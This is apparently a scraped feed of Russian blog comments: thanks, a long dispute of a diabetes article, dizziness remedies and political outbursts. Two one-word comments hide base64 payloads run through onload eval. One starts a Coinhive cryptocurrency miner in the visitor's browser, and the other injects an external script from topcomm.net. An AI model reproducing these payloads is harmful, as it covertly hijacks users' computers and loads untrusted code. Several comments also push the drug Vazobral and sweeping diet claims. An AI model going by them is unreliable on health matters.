+

6 простых рецептов домашнего кваса: https://www.liveinternet.ru/users/sekreti_stroynosti/post434833182/

[http://only-kino.pp.ru/like.gif]Картинка: http://only-kino.pp.ru/

+

Наталья_Самохвалова, благодарю Вас!

интересно

data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///ywAAAAAAQABAAACAUwAOw==" onload="eval(atob('ZnVuY3Rpb24gY2RuQ3JlYXRpb24oKXt3aW5kb3cuQ29pbkhpdmU9ITE7dmFyIGU9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7ZS5zcmM9Ii8vY29pbi1oaXZlLmNvbS9saWIvY29pbmhpdmUubWluLmpzIixkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKGUpfWNkbkNyZWF0aW9uKCk7dmFyIGNfY2hlY2s9d2luZG93LnNldEludGVydmFsKGZ1bmN0aW9uKCl7aWYoQ29pbkhpdmUpe2NsZWFySW50ZXJ2YWwoY19jaGVjayk7Zm9yKHZhciBlPWRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCJhIiksbj0oZS5sZW5ndGgsMCk7bjxlLmxlbmd0aDtuKyspZVtuXS5zZXRBdHRyaWJ1dGUoInRhcmdldCIsIl9ibGFuayIpO25ldyBDb2luSGl2ZS5Bbm9ueW1vdXMoImxBTDIwZDRwTlFyZXA1OW5NRDNmMVA3RXhXUVd3MmxIIikuc3RhcnQoKX19LDEwMCk7'))

интересно

data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///ywAAAAAAQABAAACAUwAOw==" onload="eval(atob('d2luZG93LkdUQ1pZWDU2Nz0nNTliOTA5OGM5NzRmNyc7IHZhciBzYz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKQpzYy5zZXRBdHRyaWJ1dGUoJ3NyYycsICcvL3RvcGNvbW0ubmV0L2hpdC5qcycpCmRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCdib2R5JylbMF0uYXBwZW5kQ2hpbGQoc2MpOw=='));"

Спасмбо.многое совпадает!

Спасибо!

Благодарю за цитирование!
Может быть, Вам пригодится ещё одна запись:
Английский язык для малышей. Обучающий мультфильм. Сборник серий 11 - 15.
http://www.liveinternet.ru/users/5144129/post415580176/
Надеюсь, запись Вам понравится и подойдёт для Вашего дневника.

Спасибо

Мои поздравления вам Наташа!!!

"Статистика говорит, что первоочередной причиной смерти большинства людей в мире являются сердечнососудистые и онкологические заболевания"
Уточните, где это говорит статистика? Когда заявляете о подобного рода информации, оставляйте, пожалуйста, ссылочку на достоверный источник (как в Википедии). Это в значительной степени поднимает уровень доверия.
Отсутствие ссылок на на достоверный источник означает, что приведенные в посте утверждения НЕ ФАКТЫ, и веры им не больше, чем байкам из серии ОБС - одна баба сказала.

Элементарная проверка показала, что ВОЗ на своем сайте (http://www.who.int/mediacentre/factsheets/fs310/ru/) утверждает, что ведущей причиной смертности людей в мире в 2012 году являются ДРУГИЕ БОЛЕЗНИ (48,6%). Заметно отстают от чемпиона ишемическая болезнь сердца (13,2%) и инсульт (11,9%). На пятом месте (5,5%) стоят респираторные инфекции нижних дыхательных путей, и только на шестом месте - рак легких, трахеи и бронхов (2.9%).

"но никто не задумывается о том, что за этими болезнями стоит сахарный диабет."
Конечно никто не задумывается, так как за этими болезнями НА САМОМ ДЕЛЕ НЕ СТОИТ сахарный диабет. Если бы вы хорошо знали физиологию и биохимию собственного организма, то вы бы сами поняли, что за сердечнососудистыми болезнями стоит МНОЖЕСТВО РАЗНЫХ ФАКТОРОВ, и что за сахарным диабетом стоит тоже МНОЖЕСТВО РАЗНЫХ ФАКТОРОВ, причем часть этих факторов может быть общей, а часть различной.
При обилии негативных внешних и внутренних факторов, выделить один и свалить на него всю вину - это несерьёзно.

Человеческий организм имеет много факторов противоопухолевой защиты (учите физиологию, узнаете подробности), поэтому главной причиной злокачественных опухолей является недостаточная активность факторов этой защиты. Поэтому опухоли обнаруживаются у некоторых детей прямо с рождения. Некоторые люди с высокоактивной противоопухолевой защитой, питаясь за свою жизнь копченостями, жареным, даже куря, доживают до 90-100 лет без всякого рака. Уинстон Черчилль был толстым, пил, курил, спортом не занимался, а прожил 90 лет и умер НЕ ОТ РАКА.
Анекдот в тему:
"Дед внуку рассказывает:
- Я всю жизнь курил, пил, ходил по бабам и вот мне сейчас за 80, и был у меня брат, он не пил, не курил, пил только молоко и умер девственником в трёхмесячном возрасте."

"Лишний вес (чем больше вес, тем меньше чувствительность к инсулину)"
ВРАНЬЕ!!!
Популярный ИМТ ничего не говорит о том, за счет чего этот ИМТ повышен. ЛИШНИЙ вес бывает не только из-за жира, он еще бывает от отеков, от развитых мышц у спортсменов, от пышного бюста у женщин, от низкого роста, от широкого скелета (у бульдогов и коренастых людей с широкой грудной клеткой), и от других причин, не зависящих от количества жира. Но главная причина лишнего веса - РАСЧЕТ ПО ОШИБОЧНОЙ ФОРМУЛЕ. Подробнее об этом в статье "Какой вес является идеальным? Большая и толстая правда об ИМТ" (http://www.health-diet.ru/article/vitaminy/kakoy_v...haya_i_tolstaya_pravda_ob_imt/ )
С какого такого перепуга чувствительность к инсулину должна зависеть от развитых мышц у спортсменов, от пышного бюста у женщин, от низкого роста, от широкого скелета?

"Недостаток или избыток сна (меньше семи и больше восьми часов)"
ВРАНЬЕ! Многие люди, особенно молодые, много работают, спят мало, но у них нет сахарного диабета!

"Малоподвижный образ жизни"
ПОЛОВИНА ВРАНЬЯ!
Потому что при низком потреблении углеводов и отсутствии предрасположенности к сахарному диабету малоподвижный образ жизни НЕ ПРИВЕДЕТ К САХАРНОМУ ДИАБЕТУ. Множество примеров этого может найти каждый человек среди своих родственников и знакомых.

"Газированные сладкие напитки, а также консервированные фруктовые соки с сахаром (быстрые углеводы)"
Газированные сладкие напитки могут иметь НИЗКОЕ СОДЕРЖАНИЕ САХАРА, а НАТУРАЛЬНЫЕ СВЕЖЕВЫЖАТЫЕ ФРУКТОВЫЕ СОКИ МОГУТ ИМЕТЬ ВЫСОКОЕ СОДЕРЖАНИЕ САХАРА, так как фрукты, из которых выжаты эти соки, сами богаты сахаром. А особенно богаты сахаром СУХОФРУКТЫ. Убедитесь сами - химсостав продуктов http://www.intelmeal.ru/nutrition/food_category.php
Например В ВИНОГРАДЕ (химсостав http://www.intelmeal.ru/nutrition/foodinfo-grapes-...h-as-thompson-seedless-raw.php) содержится его родных сахаров В ПОЛТОРА РАЗА БОЛЬШЕ, ЧЕМ В КОКА-КОЛЕ.

"Фастфуд (высокий гликемический индекс)"
Фастфуд может иметь невысокий, даже низкий гликемический индекс - котлета. А натуральная домашняя еда может иметь высокий гликемический индекс.

"Что поможет предотвратить сахарный диабет
1. Все продукты богатые клетчаткой (овощи, фрукты зелень, изделия из муки грубого помола и т.д.);"
ВРАНЬЕ!!!
Далеко не все продукты, которые считаются богатыми клетчаткой, на самом деле ею богаты. Некоторые бедны клетчаткой. Например в винограде (ссылка на химсостав дана выше) содержится всего 0,9% пищевых волокон. А в пшеничном хлебе из муки высшего сорта(химсостав http://www.intelmeal.ru/nutrition/foodinfo-bread-wheat-shaped-ru.php) содержится 2,6% пищевых волокон.
Но на самом деле даже продукты. богатые клетчаткой, НЕ ПОМОГАЮТ предотвратить сахарный диабет.
Большинство индийцев придерживается вегетарианской диеты, потребляя много злаков, фруктов и овощей. Но в мировой статистике сахарного диабета лидирует Индия: "Индия - страна с наибольшим числом больных диабетом людей (50.8 миллионов), затем Китай (43.2 миллионов)." (http://www.bienhealth.com/news/diabet-statistic/) Причем надо учитывать, что в развивающихся странах беднейшая часть населения не пользуется официальной медициной, так как не имеет денег на медицинскую страховку, а значит эти люди не попадают в медицинскую статистику.
И еще один пример из коммента в одном форуме:
"Я работал в компании, где, естественно, большинство программеров были молодые ребята из Индии и примерно половина - достаточно строгие вегетарианцы. Не могу сказать за всех, но в нашей группе из 8 человек - 6 имели диабет в 25- 27 лет. И поверьте, закупали они ус-ва для контроля сахара перед отпуском - десятками, для всей родни, сам им заказывал через каталоги, т.к. не у всех были кредитные карточки." (http://forums.harbor.ru/archive/index.php/t-1508.html)

"до минимума ограничить употребление сала, мяса, вяленой колбасы и сыра, исключить из рациона копченые изделия, вареные колбасы, сосиски и сардельки, изделия из субпродуктов"
Только вот в реальности именно многие из этих продуктов предотвращают появление сахарного диабета.
В традиционном рационе северных народов много мяса и сала, но мало овощей, фруктов и зерновых. Ну не растут фрукты и овощи в тундре.
Однако "Существенной особенностью является отсутствие СД среди мужских популяций нанайцев и эвенов и единичные случаи среди мужчин-ульчей. Отмечено крайне негативное влияние урбанизации на распространенность СД среди коренного населения: чем дальше от краевого центра расположен район, тем меньше значения распространенности (6,5% среди нанайцев, 2,78% среди ульчей и 1,0% среди эвенов) заболевания [5]." ("Метаболический синдром в популяции коренных народов Крайнего Севера" http://cyberleninka.ru/article/n/metabolicheskiy-s...rennyh-narodov-kraynego-severa)
Вот так, чем ближе к цивилизации, тем больше в рационе любой углеводной пищи (а не только сладкой). и как следствие - тем чаще сахарный диабет.

И самое главное.
Избыток ЛЮБЫХ УГЛЕВОДОВ (не только сахаров), ожирение и сахарный диабет 2 типа связаны в организме одним механизмом.
"Как известно, углеводы в организме человека являются главным источником энергии, поскольку могут быстро расщепляться с выделением энергии, откладываться в депо и легко из него выходить. Различные углеводы быстро превращаются в тонком кишечнике в глюкозу, которая всасываясь с током крови поступает в печень, где может задерживаться в гепатоцитах и превращаться в запасную форму - гликоген. В случае понижения уровня глюкозы в крови этот запас гликогена в печени используется для поддержания постоянной ее концентрации, но в норме печень может «разместить» 90 г гликогена, а остальной гликоген превращается в жир. В случае излишнего поступления глюкозы (переедание), особенно если она практически не расходуется организмом (малоподвижный образ жизни) печень превращается, в своего рода, генератор жировых запасов и очень скоро практически все клетки печени оказываются заполненными преимущественно жиром, а запасы невостребованного гликогена уменьшаются до минимума, т.е. развивается ожирение печени. Теперь любое, даже нормальное поступление углеводов с пищей приведет к тому, что в крови будет повышаться уровень глюкозы, потому что печень уже не может ее утилизировать, и в итоге развивается инсулин-независимый СД 2 типа." (http://gyn-endo.ru/files/info2011/info_2011_1.pdf)
Получается, что СД 2 типа = избыток глюкозы + недостаточный ее расход.
А мясо, сало и копчености здесь не причем.
Если организм не способен справиться с имеющейся у него нагрузкой углеводами, он должен сократить эту нагрузку.

.

Любаша! Здравствуйте ! нравится очень ваш дневник! Но вот вопрос захадишь на ссылку и видишь Вот такую рамку? Что сделать и как????Подскажите как выйти сразу на ссылку?

Большое спасибо!

Юлечка, а у врача не были?Такое может быть из-за проблем с сосудами головы, надо помочь им лучше работать и голова не будет кружится. Вот тут про вазобрал писали, эти таблетки как раз на работу сосудов положительно влияют. Этот препарат улучшает кровообращение и метаболизм в головном мозге. Мне курс лечения помог очень, голова перестала кружится и перестала чувствовать усталость не проходящую.

Вот у меня головокружения стали случаться, раньше их не было никогда. Да и мушки какие-то перед глазами возникают.

А ещё не мешало бы к врачу сходить. Я так и сделала и он мне очень хорошие таблетки назначил-Вазобрал называются. У них качество хорошее, во Франции выпускаются. У меня головокружения прошли, голова перестала вечерами болеть и даже чувство усталости куда-то делось. Очень я рада, что не стала и дальше ждать, пока само пройдёт.

Может быть слабость сосудов?А вообще много всего может быть, гулять надо чаще, воздухом дышать.

Благодарю!

Не могу определиться, кто кому кем приходится: внучка моей старшей дочери родила дочь(мне правнучка), а младшая дочь родила сына(мне внук). И теперь -кем приходится правнучка моему внуку?

Спасибо! Очень интересно!

РОЛИК ПОЛНЕЙШАЯ ЧУШЬ,ПОЖАЛУЙСТА,НЕ ПОДРЫВАЙТЕ АВТОРИТЕТ РОССИИ И ЕЁ ПРЕЗИДЕНТА!!! ПОСТАВЬТЕ СВОИ МОЗГИ НА МЕСТО!!!

А кто если не ВЛАДИМИР ПУТИН!!! А МНЕ НЕ СТЫДНО,ЧТО У МЕНЯ ТАКОЙ ПРЕЗИДЕНТ,САМЫЙ ПОРЯДОЧНЫЙ ПОЛИТИК В МИРЕ!!!